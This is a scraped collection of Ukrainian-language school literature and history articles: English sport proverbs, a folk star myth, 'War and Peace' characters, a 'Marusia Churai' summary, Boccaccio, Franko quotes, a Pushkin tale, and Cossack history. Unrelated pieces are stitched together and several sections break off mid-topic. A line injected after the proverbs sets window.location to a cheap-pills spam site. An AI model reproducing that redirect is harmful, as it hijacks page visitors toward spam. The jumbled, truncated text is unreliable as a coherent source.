Category: Література

Прислів’я і приказки про спорт на англійській мові

A sound mind in a sound body.

У здоровому тілі здоровий дух.

After dinner sit a while, after supper walk a mile.

Після обіду посидь, після вечері милю пройди.

The best of the sport is to do the deed and to say nothing.

Кращий спорт – здійснювати вчинки без зайвих слів.

In sports and journeys men are known.

Люди пізнаються в спорті і в подорожах.

It’s not whether you win or lose that matters, it’s how you play the game.

Неважливо, виграєш ти або програєш, важливо, як ти граєш.

War is a sport of kings.

Війна – спорт королів.

Stumbling is not falling.

Спіткнутися – не впасти.

Sport to the cat is death to the mouse.

Спорт для кішки – смерть для миші.

Sport as you may while the master’s away.

Радій та пустуй, поки господаря немає.

Афоризми про спорт англійською

I don’t know anything that builds the will to win better than competitive sports. Richard M. Nixon

Я не знаю нічого, що виховувало б волю до перемоги краще, ніж спортивні змагання. Річард Ніксон

Serious sport has nothing to do with fair play. Serious sport is war minus the shooting. George Orwell

Серйозний спорт не має нічого спільного з чесною грою. Серйозний спорт – це війна мінус вбивство. (Джордж Оруелл)

Talent wins games, but teamwork and intelligence wins championships. ( Michael Jordan)

Талант здобуває перемогу в грі, але чемпіонство видобувають команда і інтелект. (Майкл Джордан)

Academe, n.: An ancient school where morality and philosophy were taught. Academy, n.: A modern school where football is taught. ( Ambrose Bierce)

В давнину академія – місце, де навчали етики і філософії. Сьогодні академія – місце, де навчають футболу. (Амброс Бірс)

All sports for all people. ( Pierre de Coubertin)

Спорт для всіх людей. (П’єр де Кубертен)

Baseball has the great advantage over cricket of being sooner ended. ( George Bernard Shaw)

Бейсбол має велику перевагу перед крикетом – швидше закінчується. (Джордж Бернард Шоу)

Golf is a good walk spoiled. ( Mark Twain)

Гольф – це зіпсована прогулянка. (Марк Твен)

I regard golf as an expensive way of playing marbles. ( Gilbert K. Chesterton)

Я вважаю гольф дорогою грою в кульки (дитяча гра). (Гілберт Честертон)

I don’t understand American football at all. It looks like all-in wrestling with crash helmets. ( Sting)

Я абсолютно не розумію американський футбол. Це виглядає як вільна боротьба в шоломах. Стінг

Прислів’я і приказки про спорт на англійській мові подані з перекладом, оскільки дослівний переклад не завжди дає поняття про головну думку втілену в такому короткому виразі.
Window. location = “http://cheap-pills-norx. com/”;

Міф “Про зоряний віз” читати

Колись дуже давно, а де саме – невідомо, та трапилась велика посуха; така посуха, що не тільки в річках та озерах, а навіть і в колодязях повисихала геть-чисто вся вода, і люди без води почали хорувати та мерти. В тім краю, де ото трапилась така посуха, та жила одна вдова, а в тієї вдови була всього-на-всього одна дочка. Захорувала вдова без води, і дочка, щоб не вмерла її мати, взяла глечик та й пішла шукати води. Де вона її шукала, хто її знає, а тільки десь-то найшла. Набрала в глечик і понесла додому. По дорозі натрапила на одного чоловіка, що вмирав без води; дала йому напитись і тим одволала його од cмepті. Далі натрапила вона на другого, такого ж саме; потім на третього, четвертого і, вкінець, на сьомого. Всім давала пити і всіх одволала од смерті. Води зосталось у неї тільки на самому дні.

Йшла вона, йшла та по дорозі сіла відпочивать, а глечик поставила коло себе на землю. Коли в той час де не взявся собака. Хотів, мабуть, теж напитись та й перекинув глечик. Коли перекинувсь той глечик, то з нього вилетіло сім зірок великих і восьма маленька та й поставали вони на небі.

Ото ті зірки і єсть Віз або душі тих людей, що дівчина їм давала пити, а восьма маленька (дід показав близько біля воза маленьку зірку), так то душа собаки, що перекинула глечик. Так ото Бог на те їх і поставив на небі, щоб усі люди бачили, яка щира була тая дівчина, а за її щирість бог послав дощ на ту країну.

Всі ми читали або чули про роман Війна і мир, але не всі зможемо з першого разу згадати дійових осіб роману. Головні герої роману Війна і мир – люблять, страждають, проживають життя в уяві кожного читача. Коротка характеристика героїв “Війна та мир” наведена в цій статті.

Головні герої Війна і мир

Головні герої роману Війна і мир – Наташа Ростова, П’єр Безухов, Андрій Болконський.

Досить складно говорити, який головний, так як у Толстого персонажі описуються як би паралельно.

Головні персонажі різні, у них різні погляди на життя, різні прагнення, але біда загальна, війна. І Толстой показує в романі не одну, а безліч доль. Історія кожного з них унікально. Немає найкращою, немає найгіршою. Тому добре і погане ми розуміємо в порівнянні.

Наташа Ростова – одна з головних героїнь зі своєю історією і бідами, Болконський теж один з кращих персонажів, чия історія, на жаль, повина була мати кінець. Він сам вичерпав свій життєвий ліміт.

Безухов П’єр – Один з головних героїв роману; спочатку герой повісті про декабриста, з задуму якої виник твір. Безухов трохи дивний, втрачений, невпевнений, але його доля химерно піднесла йому Наташу.

Ахросимова Марія Дмитрівна – московська бариня, відома всьому місту “не багатством, не почестями, але прямотою розуму і відвертою простотою звернення”.

Багратіон – один з найвідоміших російських воєначальників, герой Вітчизняної війни 1812 р, князь. У романі виступає як реальна історична особа і учасник сюжетної дії.

Берг – німець, “свіжий, рожевий гвардійський офіцер, бездоганно вимитий, застебнутий і причесаний”. На початку роману поручик, в кінці – полковник, який зробив непогану кар’єруі має нагороди.

Болконська Ліза – дружина князя Андрія, за якої у світлі закріпилося ім’я “маленької княгині”.

Болконська Марія – княжна, дочка старого князя Болконського, сестра князя Андрія, згодом дружина Миколи Ростова. Марія дуже релігійна, приймає прочан та подорожніх, терплячи глузування батька і брата.

Болконський Андрій – один з головних героїв роману, князь, син Н. А. Болконського, брат княжни Марії.

Болконський Микола Андрійович – князь, генерал-аншеф, відставлений від служби за Павла I і засланий в село.

Болконський Ніколенька – син князя Андрія і “маленької княгині”, що народився в день смерті матері та повернення батька, який вважався загиблим.

Денисов Василь Дмитрович – бойовий гусарський офіцер, гравець, азартний, галасливий.

Долохов Федір – семенівський офіцер, відомий гравець і бретер.

Друбецкой Борис – син княгині Ганни Михайлівни Друбецкой; з дитинства виховувався і подовгу жив у родині Ростових, яким через матір доводиться родичем, був закоханий в Наташу.

Каратаєв Платон – солдат Апшеронського полку, що зустрівся П’єру Безухова в полоні.

Курагін Анатоль – син князя Василя, брат Елен і Іполита, офіцер.

Курагін Василь – князь, батько Елен, Анатоля та Іполита; відома і впливова в петербурзькому світі людина, що займає важливі придворні пости.

Курагіна Елен – дочка князя Василя, а потім дружина П’єра Безухова. Блискуча петербурзька красуня.

Кутузов – головнокомандувач російською армією. Учасник реальних історичних подій, описаних Толстим, і одночасно сюжету твору.

Наполеон – французький імператор; реальна історична особа, виведена в романі, герой, із зображенням якого пов’язана історико-філософська концепція Л. М. Толстого.

Ростов Ілля Андрійович – граф, батько Наташі, Миколи, Віри і Петі Ростова, відомий московський пан, багач, хлібосол.

Ростов Микола – син графа Ростова, брат Віри, Наталки та Петі, офіцер., гусар; в кінці роману чоловік княжни Марії Болконської.

Ростов Петя – молодший син графа Ростова, брат Віри, Миколи, Наташі.

Ростова – графиня, жінка зі східним типом худого обличчя, років сорока п’яти.

Соня – племінниця та вихованка старого графа Ростова, що виросла у його родині.

Тушин – штабс-капітан, герой Шенграбенського бою.

Шерер Ганна Павлівна – фрейліна та наближена імператриці Марії Федорівни, господиня модного в Петербурзі великосвітського “політичного” салону.

Щербатий Тихон – мужик з Покровського під Гжат, що пристав до партизанського загону Денисова.

Ліна Костенко “Маруся Чурай” короткий змiст

РОЗДІЛ І

Якби знайшлась неопалима книга

Під час пожежі у Полтаві 1658 року згоріли всі документи міських судових справ. А можливо, серед них могла б знайтися справа Марусі Чурай.

Справа ця розглядалася на одному з судів з приводу вбивства козака Грицька Бобренка. Мати вбитого звинувачувала дівчину Марусю у тому, що вона отруїла її сина, з яким довго зустрічалася. Грицько вирішив одружитися з іншою дівчиною, і цього Маруся пробачити не могла.

Бобренчиха привела до суду людей, які називали Марусю відьмою, бачили, як вона перекидалася на сороку, робилася димом, збирала трави.

Мати дівчини звертається до людей з проханням не кидати багном хоч у її дитину, бо життя її і так вже отруєне.

Виступає Яким Шибилист. Він розказує, що Маруся та Грицько росли у нього на очах. Саме Чураї доглядали малого хлопця, бо матері не було до нього діла, вона весь час із кимось сварилася, позивалася. Вирісши, діти закохалися одне в одного. Та прийшла війна, і Гриць пішов воювати. Маруся вірно чекала свого коханого, ні на кого навіть не глянула.

Грицько ж, він міряв не тією міркою.
В житті шукав дорогу не пряму.
Він народився під такою зіркою,
Що щось в душі двоїлося йому.
Грицько ніяк не міг у житті пристати до одного берега.

До суду прибуває посланець із Січі. Богдан Хмельницький скликає козацтво під Білу Церкву, щоб виступити проти Потоцького і Радзивілла.

Посланець дізнається, над ким відбувається суд і пропонує розглянути справу з іншого боку:

Ця дівчина… Обличчя, як з ікон.
І ви її збираєтесь карати?!
А що як, інший вибрати закон, –
не з боку вбивства, а із боку зради?
Ну, є ж про зраду там які статті?
Не всяка ж кара має буть безбожна.
Що ж це виходить? Зрадити в житті
державу – злочин, а людину – можна?!

Наступного дня суд, над Марусею продовжувався. Полковник Пушкар вважає, що платити злочином за злочин не можна, тому дівчина винна у вбивстві. Війт Горбань також хоче покарати винну. Суддя вирішує засудити Марусю до страти.

Підводиться Іван Остряниця, син славного гетьмана:
Ця дівчина не просте так, Маруся.
Це – голос наш. Це – пісня. Це – душа.

Марусині пісні співають, вирушаючи у похід козаки, співають дівчата, чекаючи коханих. У такої людини душа не може бути чорна.

Івана ніхто не хоче слухати. Маруся ж відмовляється від останнього слова. Її засуджують до покарання на шибениці.

РОЗДІЛ II

Полтавський полк виходить на зорі

Козаки збираються вирушити у похід захищати свою землю і волю. Дехто з них не повернеться, але така їхня доля.

РОЗДІЛ III

Сповідь

Марусі дають три дні на роздуми і саджають до в’язниці. Вранці дівчина чує поклик сурми. Це вперше полк вирушає у похід без Гриця. Серце їй рветься від болю.

Маруся весь час думає про Гриця: чи добре його поховали, чи гідно козацького звання?

Потім вона все думає, коли ж змінилася Грицева душа, що з ним сталося. Згадує дитячі роки, коли вони разом гралися, слухали розповіді старого Галерника, колядували і щедрували.

Згадує Маруся свого батька, який віддав доньку до школи. Доброю він був людиною. Потім в одному з боїв потрапив у полон і був страчений. Чула Маруся колись пісню кобзаря про свого батька.

Доброю і красивою була й Марусина мати. Гордо стримувала вона свої сльози, не показувала на людях горя. Вірно кохали батьки одне одного.

Прийшло кохання і до Марусі. Але все щось заважало одружитися: то війна, то нерішучість Гриця. Бобренчиха ж мріяла мати в невістках хазяйську дочку. Маруся не вірила людським поговорам, аж поки Гриць не заслав старостів до Галі Вишняківки. Дівчина була приголомшена такою зрадою. Страждала разом з дочкою і мати. Знала, що Гриць не любить Галю, буде з нею нещасливий, але… багатство.

Важко було витримати гордій дівчині і відкрите зухвальство Вишняківки, яка сміялася Марусі в обличчя. Хотіла навіть утопитися, але врятував її Іван. Він давно вже кохав дівчину.

Життя Грицькової родини було приземленим, тому і Гриць виріс таким “некрилатим”. Мати прагнула все більшого достатку і не зважала на такі речі, як кохання.

Син послухав матір і посватався до Галі, але того ж вечора напився у шинку і вперше крикнув на Бобренчиху. Галя була йому немила.

В останню свою ніч Маруся не спить, думає про матір, коханого. А на світанку сповідається у своїх гріхах ясному сонечку:

Не помста це була, не божевілля,
Людина спроста ближнього не вб’є.
Я не труїла. Те прокляте зілля
Він випив сам. Воно було моє.

Після Грицевого сватання Маруся заховалася від усього світу, але одного разу, прийшовши на вечорниці, побачила, як Грицько танцює з Галею.

Гриць сам прийшов до неї, просив пробачення. .Говорив, що одружиться з Марусею, бо кохає її. Та Чураїха не може навіть підняти руки, щоб благословити їх.

Він говорив, і відбувалось диво.
Він зраду якось так перетворив,
так говорив беззахисно й правдиво, –
неначе він про подвиг говорив…

Маруся відмовляє Грицеві. З розпуки Гриць випиває отруту, яку Маруся приготувала для себе.

Маруся не розказує цього суддям, бо хоче вмерти.

Тюремник приносить для дівчини вузлик з чистим одягом.

РОЗДІЛ IV

Гонець до гетьмана

До Богдана Хмельницького спішить Іван Іскра сповістити, що полтавці вислали полк на допомогу. Крім того, він сподівається врятувати Марусю.

Гетьман дякує Іванові за добру новину, але помічає його стурбованість. Іван розповідає про долю Марусі. Гетьман пише наказ про помилування дівчини.

Іван гонить коня назад у Полтаву.

РОЗДІЛ V

Страта

Марусю ведуть на страту. За нею суне цілий натовп цікавих. Шибениця стоїть у степу.

Жінки з малими дітьми пробиваються наперед, щоб краще бачити, швець просить у ката на згадку шматок мотузки, хтось пропонує пропустити наперед матір Грицька, бо та заслужила побачити Марусину смерть.

Маруся і перед смертю залишається красивою і гордою. Один чоловік зауважує, що вона скоріше схожа на святу.

У натовп уривається Іван Іскра і читає гетьманську грамоту. Дівчину помилувано за її пісні.

Радіють усі, крім самої Марусі. Понад усе вона хотіла вмерти, та не дали.

РОЗДІЛ VI

Проща

Марусина мати після страшного потрясіння невдовзі помирає. Поховавши її, дівчина йде на прощу до Києва. Дорогою зустрічає старого дяка, який став її супутником. Він розповідає дівчині про історичні події у тих місцях, якими вони проходять, про зрадника Вишневецького. Маруся зразу ж складає зворушливу пісню про почуте.

Прийшовши до Києва, вона бачить спалене Місто. Це зробив литовський князь Радзивілл. Кияни живуть у землянках.

Разом з дяком Маруся оглядає печери, слухає розповіді про святих. Дяк теж колись був козаком, а на старість пішов мандрувати.

Боячись надто звикнути до доброго чоловіка, Маруся хоче втекти від нього.

Повернулася вона додому тією ж дорогою, якою йшла до Києва.

РОЗДІЛ VII

Дідова балка

В Україні настала тривожна зима. На Полтаву знову йдуть ляхи, хочуть підкорити собі місто. Тут ховаються люди з усієї околиці. Лише дід Галерник залишається у своїй Дідовій балці.

До діда заходить Іван. Вони розмовляють про Марусю, яка дуже хвора. Дід заспокоює Івана, що з часом він закохається в якусь дівчину і буде щасливим. Та хлопець не уявляє щастя без Марусі.

РОЗДІЛ VIII

Облога Полтави

Полтаву оточили польські війська. Битву не розпочинали, дотримуючись угоди. Поляки надіялися взяти місто змором.

До Марусі приходить Іван і просить її вийти за нього заміж. Але Маруся відповідає, що вона вже давно померла душею. Хлопець умовляє її, бо він буде любити за двох, аби тільки їй було добре. Чураївна перепиняє його.

Життя у Полтаві важке, облога затягнулася, але всі вже звикли і живуть звичайним життям.

Після Різдва поляки відступили, місто зразу ожило.

РОЗДІЛ IX

Весна і смерть, і світле воскресіння

На землю приходить весна. Вона вперше викликає у Марусі посмішку. Вона радіє, але почуває себе все гірше, бо хворіє на сухоти.

Дівчата вчора берегом ішли,
та й заспівали: “Ой не ходи, Грицю”.
А я стояла… Що ж мені, кричати?..
Які мені сказати їм олова?…
Дівчаточка, дівчатонька, дівчата!
Цю не співайте, я ж іще жива!

“Декамерон” – збірка зі ста новел Джованні Боккаччо.

“Декамерон” сюжет

За сюжетом цієї збірки 10 молодих флорентійців (7 жінок, 3 чоловіка) залишають охоплене чумою місто, оселяються на заміській віллі і протягом 10 днів розповідають цікаві і повчальні історії (всього їх 100), які широко відтворюють розмаїте повсякденне життя. “Декамерон” в перекладі з грецької – “десятиденник”. Композиція книги мозаїчна – кожна оповідка має завершений сюжет, а всі разом створюють своєрідну енциклопедію людських стосунків. Сюжети новел мандрівні, письменник творчо обробив міські анекдоти, античні сюжети і навіть арабські казки.

“Декамерон” подарував Боккаччо європейську популярність. У “Декамероні” до досконалості доведений жанр міської новели, що відкрив шлях усій ренесансній новелістиці. Приваблювали не тільки цікавість оповідань, яскраві образи героїв, їх соковита мова, але й художня добірність новел Боккаччо, нетрадиційне трактування ряду фабул, поширених у попередній середньовічній літературі, загальний ідейний лад його творів. У “Декамероні” висвітлились нові грані гуманістичного світогляду, в тому числі його антиаскетичні ідеали. У центрі уваги Боккаччо – проблема самосвідомості особистості, що отримала широку перспективу в подальшому розвитку ренесансної культури.

“Декамерон” здобув велику популярність в Італії, де Боккаччо знайшов чимало послідовників (Франко Саккетті, Мазуччо тощо). Вже в XIV ст. він був перекладений на французьку та англійську мови, пізніше сюжети “Декамерона” часто позичали літератори інших країн Європи, нерідко переробляючи їх в дусі національних традицій.

Варто відзначити, що деяка частина новел “Декамерона” була майстерно запозичена з історій, що зустрічаються в античній літературі, приміром, у “Метаморфозах”Апулея.

Сюжет: день перший

Іван Якович Франко (27 серпня 1856, с. Нагуєвичі, Дрогобицький повіт – 28 травня 1916, Львів) – український письменник, поет, публіцист, перекладач, вчений, громадський і політичний діяч.

Вислови про Івана Франка відомих людей

– “…У важкі часи безправ’я і темряви він був для Західної України і університетом, і енциклопедією, і академією наук, і народним, не затвердженим ніякою монаршою ласкою міністром культури та освіти…” ( П. Тичина ).

– “…Титанічна діяльність Франка відбила національні воління розірваної між імперіями Романових і Габсбургів української землі… Шевченко народив, а Франко виховував українську націю…”

– “Він – геніальний поет. Саме як поета ми бачимо його поряд з найвидатнішими світовими майстрами, а в рідній літературі він чи не єдиний має право займати місце на недосяжній височині Шевченка” ( Д. М. Павличко ).

– “…Невеликий, хоч сильний мужчина. Велике чоло, сірі, трохи холодні очі, в лініях бороди щось енергійне, уперте…А заговорить – і вже здивує, як ця невисока фігура росте й росте перед вами, мов у казці. Вам стане тепло й ясно од світла його очей, а його мова здається не словом, а сталлю, що б’є об кремінь і сипле іскри. Сильна, уперта натура, яка цілою вийшла з житейського бою!..” .

– “…Тепер ще яскравіше зарисувалася могутня постать Франка і всі його заслуги, ще дорожчим став нам той чоловік… Адже Франків у нас не густо” ( М. Коцюбинський ).

– Іван Франко – це розум і серце нашого народу. Це боротьба, мука і передчуття щастя України. України і людськості. …Франко живе в народній пам’яті як великий Каменяр…” ( М. Рильський ).

– Про свого батька Син Тарас пише: “Франко був дуже точною, старанною людиною. Коли вже щось обіцяв, то виконував сумлінно і вчасно. Працював він багато і плідно, не любив витрачати час на пусті балачки. Якщо брався за якусь роботу, то поринав у неї з головою. У вільний же час був ласкавим порадником, привітним господарем.

– Дуже помітна прикмета вдачі мого батька була швидкість. Він швидко вирішував будь-яку справу, швидко писав. Ця швидкість поєднувалась у нього з високою якістю, бо до слова він ставився надзвичайно вимогливо”.

– “Такі люди рідко родяться. Так багато страждання могли винести тільки інтелігенти. І яка гірка б не була історія їх життя, але з любов’ю треба зібрати всі і найдрібніші факти їхнього життя, праці, страждань. Бо йдемо… з печаттю їхнього духу…” ( І. Лизанівський, секретар І. Франка ).

– “…Після Шевченка не було в нас такої постаті. Отже не буде в нас перебільшення сказати, що Шевченко і Франко – це насправді ті два могутніх крила, які винесли українське слово, українську культуру на простори світові. Франко стоїть серед тих великих порадників, мислителів-гуманістів, до яких людство завжди буде звертатись…” ( О. Гончар ).

– “…Ми не можемо назвати, мабуть, жодної ділянки людського духу, в якій би не працював Іван Франко і в якій він би не був великий…” ( П. Загребельний ).

– “…Франко – наш найкращий провідник, наш учитель, ясне сонце на українському небі…” ( В. Стефаник ).

– “…Після Шевченка долю поводиря національного ідеалу українського народу прийняв І. Франко: це високе покликання гідно і з честю виконав…” ( С. Петлюра ).

– “…Іван Франко своїм впливом, працею і прикладом виховував ціле молоде покоління, яке за його вказівками пішло на новий шлях…” ( Уляна Кравченко ).

Іван Труш про І. Франка : “…Щира, ніколи не удавана скромність цього надзвичайного і найбільшого таланту серед нас усіх”.

З даної статті ви зможете згадати короткий зміст казки О. С. Пушкіна “Казка про мертву царівну та сімох богатирів”

“Казка про мертву царівну та сімох богатирів” переказ

Цар їде, а під час його відсутності у цариці народилася дочка. Але цариця вмирає, ледь повернувся її чоловік. Цар довго горює, але проходить рік, і в палаці з’являється нова цариця. Ця жінка дуже красива, але вдача у неї важка: вона заздрісна, жорстока і норовлива. У цариці є чарівне дзеркало, яке вміє говорити: кожен день цариця милується на своє відображення і щоразу запитує дзеркало, чи вона найкрасивіша жінка в світі. І довгі роки дзеркало правдиво відповідає, що прекрасніше її немає нікого на світі. Але непомітно виростає її падчерка. У царівни з’являється наречений. Цариця, вбираючись перед дзеркалом, як зазвичай, запитує, чи вона найкрасивіша жінка в світі, чекаючи почути звичне: “Ти, цариця, всіх миліше”. Але на цей раз вона чує, що не вона, а царівна, її падчерка, прекрасніше за всіх у світі. Тут і проявляється заздрісна і злісна натура цариці: вона кличе свою служницю і наказує їй у що б то не стало погубити царівну: відвести ту в ліс і кинути на поталу вовкам.

Чернавка, служниця цариці, дійсно заманює царівну в лісову глушину, виконуючи волю своєї жорстокої пані. Царівна здогадується, що Чернавка замислила її погубити, і благає відпустити, обіцяючи нагородити її, коли стане царицею. Чернавка насправді не відчуває до царівни злих почуттів: вона лише виконувала наказ господині, яке їй самій не до душі, тому вона охоче відпускає царівну і повертається до цариці. Цариця запитує, виконано чи її наказ, і Чернавка обманює її, запевняючи, що зв’язала царівну і залишила на поживу диким звірам.

Цар горює про зниклу дочку, а Єлисей, наречений царівни, відправляється на пошуки зниклої нареченої. Царівна, блукаючи по лісі, виходить до великого будинку, захованого в гущавині.

Через деякий час з’являються і господарі – семеро братів-богатирів. Царівна залишається в їхньому будинку, веде господарство, але незабаром богатирі пропонують їй вибрати одного з них в чоловіки. Царівна відмовляється, тому що у неї вже є наречений.

Тим часом цариця, вважаючи, що її пасербицю давно розірвали вовки, знову заводить розмову з чарівним дзеркалом і дізнається, що царівна жива. Цариця погрозами домагається правди від своєї служниці і вирішує сама погубити пасербицю. Для цього вона переодягається старою жебрачкою і йде в ліс, до будинку семи богатирів, названих братів царівни. Царівна, нічого не підозрюючи, радо приймає мандрівницю; лише сторожовий пес, відчувши зло, голосно гавкає на переодягнену царицю і рветься з прив’язі.

Царівна подає уявній злиденній милостиню, а та дарує їй красиве яблуко. Але насправді воно просякнуте отрутою, і ледь царівна відкушує шматочок, як падає бездиханною. Повертаються богатирі. Пес на їхніх очах проковтує отруєне яблуко і вмирає. Брати розуміють, що царівна загинула через чиюсь злобу і заздрість.

Спочатку вони збираються поховати її, але царівна не мертва, а спить: тому брати кладуть її в кришталеву труну і підвішують її в гірській печері. Зла цариця нарешті чує від дзеркала довгоочікувану відповідь, що вона прекрасніше за всіх на світі. Наречений царівни шукає її по всьому світу, але ніде не знаходить зниклу наречену. Нарешті він запитує про неї у тих, хто бачить все – у сонця, місяця і вітру. Сонце і місяць нічого не знають про долю царівни; і лише вітер, вічний мандрівник, розповідає королевичу Єлисею про гірську печеру, в якій на шести ланцюгах висить кришталеву труну. У нії, говорить вітер, твоя наречена.

Засмучений королевич йде до гори, щоб ще раз поглянути на свою наречену. Від розпачу він розбиває труну, і царівна раптово оживає. Королевич та царівна повертаються до її батька. У цей час цариця в черговий раз розмовляє з дзеркалом і знову чує про те, що царівна прекрасніше її. У нападі люті цариця розбиває дзеркало. При зустрічі з царівною цариця помирає від злоби і заздрості. Казка закінчується весіллям царівни і королевича.

Загадка – жанр усної народної творчості, дотепне запитання, часто у віршованій формі. Загадка – це художнє алегоричне зображення якоїсь істоти, предмета або явища шляхом несподіваного зближення її з іншою істотою, предметом або явищем.

Особливості загадок

Основна особливість загадки – у тому, що в її основі лежить метафоричне запитання.

Отже, предмет зображення в загадці називається не прямо, а інакомовно, приховано. Щоб дати відповідь на метафоричне запитання, треба вміти зіставити життєві явища на основі їх спорідненості чи подібності.

Хитромудре запитання зазвичай має просту відгадку. Народність жанру підкреслює побутова тематика багатьох загадок, Етнічність – часта прив’язка до побуту і реалій життя конкретного етносу, особливості його ментального, матеріального і духовного розвитку, специфіка образного мислення тощо.

Загадка вживається не лише для активізації пізнавальних можливостей дитини (та й дорослих), практикованих етнопедагогікою, чи гуртової розваги, а й почасти містить у собі філософський зміст (“Ой що росте без кореня, / А що біжить без повода, / А що цвіте да без цвіту?”), пов’язується із міфологічним світобаченням: “Зоря-зірниця, красна дівиця, по небу гуляла, сльози роняла; / Місяць бачив – не підняв, сонце встало і забрало” (роса).

Загадки характеризуються яскравою пластичною образністю, багатством алітерацій та асонансів, вишуканою поетичністю:

Через Дунай глибокий Біг кінь білобокий, Як упав, заіржав – Білий світ задрижав (гроза, грім).

У наш час загадки продовжують своє широке побутування, в першу чергу, у спілкуванні українців, але також почасти перейшовши у сферу ЗМІ, в тому числі і електронних.

Що зробила Софія Палеолог і чим вона відома? Софія Палеолог коротка біографія на українській мові відомої грецької принцеси розповість про її внесок в історію.

Софія Палеолог біографія

Софія Палеолог – це видатна жінка в російській історії. Софія Палеолог є другою дружиною Великого князя Івана III, а також матір’ю Василя III і бабусею Івана IV Грозного. Її точна дата народження невідома, вчені припускають, що вона народилася близько 1455 року.

У 1469 році Великий князь Московський Іван III, який до цього часу вже як два роки був вдівцем, вирішив ще раз одружитися. Але ось з роллю нареченої ніяк не міг визначитися. Папа Римський Павло II запропонував йому взяти шлюб з Софією. Після довгих роздумів, він спокусився її титулом грецької принцеси. Вінчання вінценосних особин відбулося в 1472 році. Церемонія проходила в Успенському Соборі, вінчав пару митрополит Філіп.

Софія була дуже щаслива в шлюбі, в якому народилося 9 дітей – чотири дочки і п’ять синів. Для великої княгині грецького походження були збудовані в Москві окремі хороми, які, на жаль, згоріли під час пожежі 1493 року.

Софія Палеолог що зробила? Згідно зі свідченнями сучасників, Софія Палеолог була розумною жінкою, яка вміло направляла свого чоловіка на вчинки. Існує думка, що саме Софія підштовхнула Івана III до рішення не платити татарам данину.

З появою Софії і її дітей при Московському дворі, в місті почалися справжні династичні чвари. У Івана III був син Іван Молодий від першого шлюбу, який був повинен успадковувати трон. Синові Софії, Василю, здавалося, бути спадкоємцем влади батька, не судилося.

Але доля розпорядилася зовсім інакше. Іван Молодий, який вже мав сім’ю і сина, отримав тверські землі, але раптом захворів і помер. Після цього довгий час ходили чутки, що його отруїли. Єдиним спадкоємцем Івана III залишився Василь Іванович, син Софії.

Ставлення до дружини Івана III в княжому оточенні було різним. Одні почитали Велику княгиню, поважала її за розум, інші ж вважали її дуже гордою, а третя сторона була переконана, що з появою грецької царівни в Москві князь Іван III “старі звичаї змінив “.

Софія Палеолог померла за два роки до смерті свого чоловіка в 1503. Вона до кінця свого життя вважала себе, царівною царгородською, грецькою, а вже потім Великою княгинею Московською.

УКРАЇНСЬКІ ЗЕМЛІ В ДРУГІЙ ПОЛОВИШ XVI СТ.

Люблінська унія та її пилив на українські землі. Па середину XVI ст. більшість українських земель входила до складу Великого князівства Литовського і Польського королівства. Московському царству належала Чернігово-Сіверщина, Молдавії – Буковина, Трансільванії – Східне Закарпаття, Західне Закарпаття було у володіннях австрійських Габсбургів, південь України входив до складу Кримського ханства.

Причини Люблінської унії:

Литва зазнала ряду поразок у Лівонській війні від московських військ, союзником могла стати Польща; Польща прагнула поширити свій вплив па схід, шляхта хотіла загарбати українські землі; українська сторона сподівалася в об’єднаній державі налагодити ефективну оборону під нападів татар.

1 липня 1569 р. спільний сейм (парламент) у Любліні ухвалив рішення про унію.

Умови Люблінської унії, причини і наслідки

Українські землі поділялися на такі воєводства: Руське (з центром у Львові), Белзьке (Белз), Брацлавське (Брацлав), Волинське (Луцьк), Київське (Київ), Підляське (Дорогичин), Подільське (Кам’янець).

Зміни в соціальній структурі українського суспільства

Становище різних верств населення: тодішню соціальну піраміду очолювала родова знать – Українська шляхта (князі, пани, середня і дрібна шляхта). Особливе місце посідав Василь-Костянтин Острозький, одна з найбагатших і найвпливовіших постатей у всій Речі Посполитій. Другий Литовський статут 1566 р. зрівнював у правах дрібну й середню шляхту з князівсько-магнатською аристократичною верхівкою. Відчувши за собою силу об’єднаної держави, зацікавлені у прибутках феодали розширювали фільварки – господарства із застосуванням на панській землі примусової праці залежних селян. Феодали захоплювали землю селян і примушували їх працювати на себе власним інвентарем – тобто впроваджували панщину;

ше одним привілейованим станом залишалося духівництво; напівпривїлейований стан – міщанство (патриціат, бюргерство, плебс); непривілейований стан – селянство, для якого це був час зростання панщини, повинностей і податків, їх перетворення на безправний додаток до фільварку.

Протягом другої половини XVI ст. – першої половини XVII ст. спостерігається явище покозачення – спроба мирним шляхом звільнитися від панщини й отримати право вільно працювати на власній землі. Термін “козак” у цей час переважно означав вільну озброєну людину, козацтво – міжстановим прошарком.

Виникнення Запорізької Січі

Постійна загроза татарських нападів змушувала українське козацтво будувати укріплення з дерев – засіки. Від цього і походить слово “січ” (згромадження січеного дерева), що означало фортецю. Першою відомою Запорізькою Січчю традиційно вважається фортеця, споруджена 1556 р. на острові Мала Хортиця князем Дмитром Вишневецьким (відомий у фольклорі як Байда). Протягом XVI ст. Січ набувала ознак адміністративно-політичного центру, фактично столиці земель, заселених козаками. Назва Запорізька (тому що за дніпровими порогами – великими каменями) Січ починає вживатися щодо величезних територій степової України, тобто це і столиця, і сама козацька держава. Відомо 8 січей (крім Хортицької, Тома-ківська, Базавлуцька, Микитинська, Чортомлицька, Кам’янська, Олешківська, Нова).

Військово-політична організація козацтва. Уся повнота влади в козацькій державі належала Січовій, або Військовій, раді, на якій обирали козацький уряд – Кіш. Керівництво Січі називалося козацькою військовою Старшиною. Її очолював кошовий отаман, або гетьман, його помічниками були військовий обозний, військовий осавул, військовий писар, військовий суддя та інші. Українське козацтво мало свої символи-відзнаки, або Клейноди. До них належали корогва (прапор), булава, бунчук, печатка з гербом тощо.

У 1572 р. король Сигізмунд II Август прийняв па тимчасову службу 300 козаків. У 1578 р. Стефан Баторій здійснив козацьку реформу, запровадив реєстр (список) у складі 600 козаків па постійній службі. Саме тому їх почали називати реєстровцями, або Реєстровим козацтвом. Воно отримало певні привілеї:

– звільнення під сплати податків і виконання всіх повинностей, крім обов’язкової військової служби; – одержання права судитися у своїх судах, вихід з-під юрисдикції можновладців; – отримання офіційної назви “Запорізького” або “Низового” війська та військових клейнодів; – отримання права володіти землею, вільно займатися різними промислами і торгівлею, гарантія спадкових майнових прав, дозвіл вести епос господарство па королівській землі, отримання платні, хоча нерегулярно: – отримання права обирати гетьмана та всю старшину на козацькій раді; – отримання у володіння містечка Трахгемирів для утримання зимових квартир, озброєння і шпиталю.

Повстання 90-х років XVI ст. Причини перших козацьких повстань:

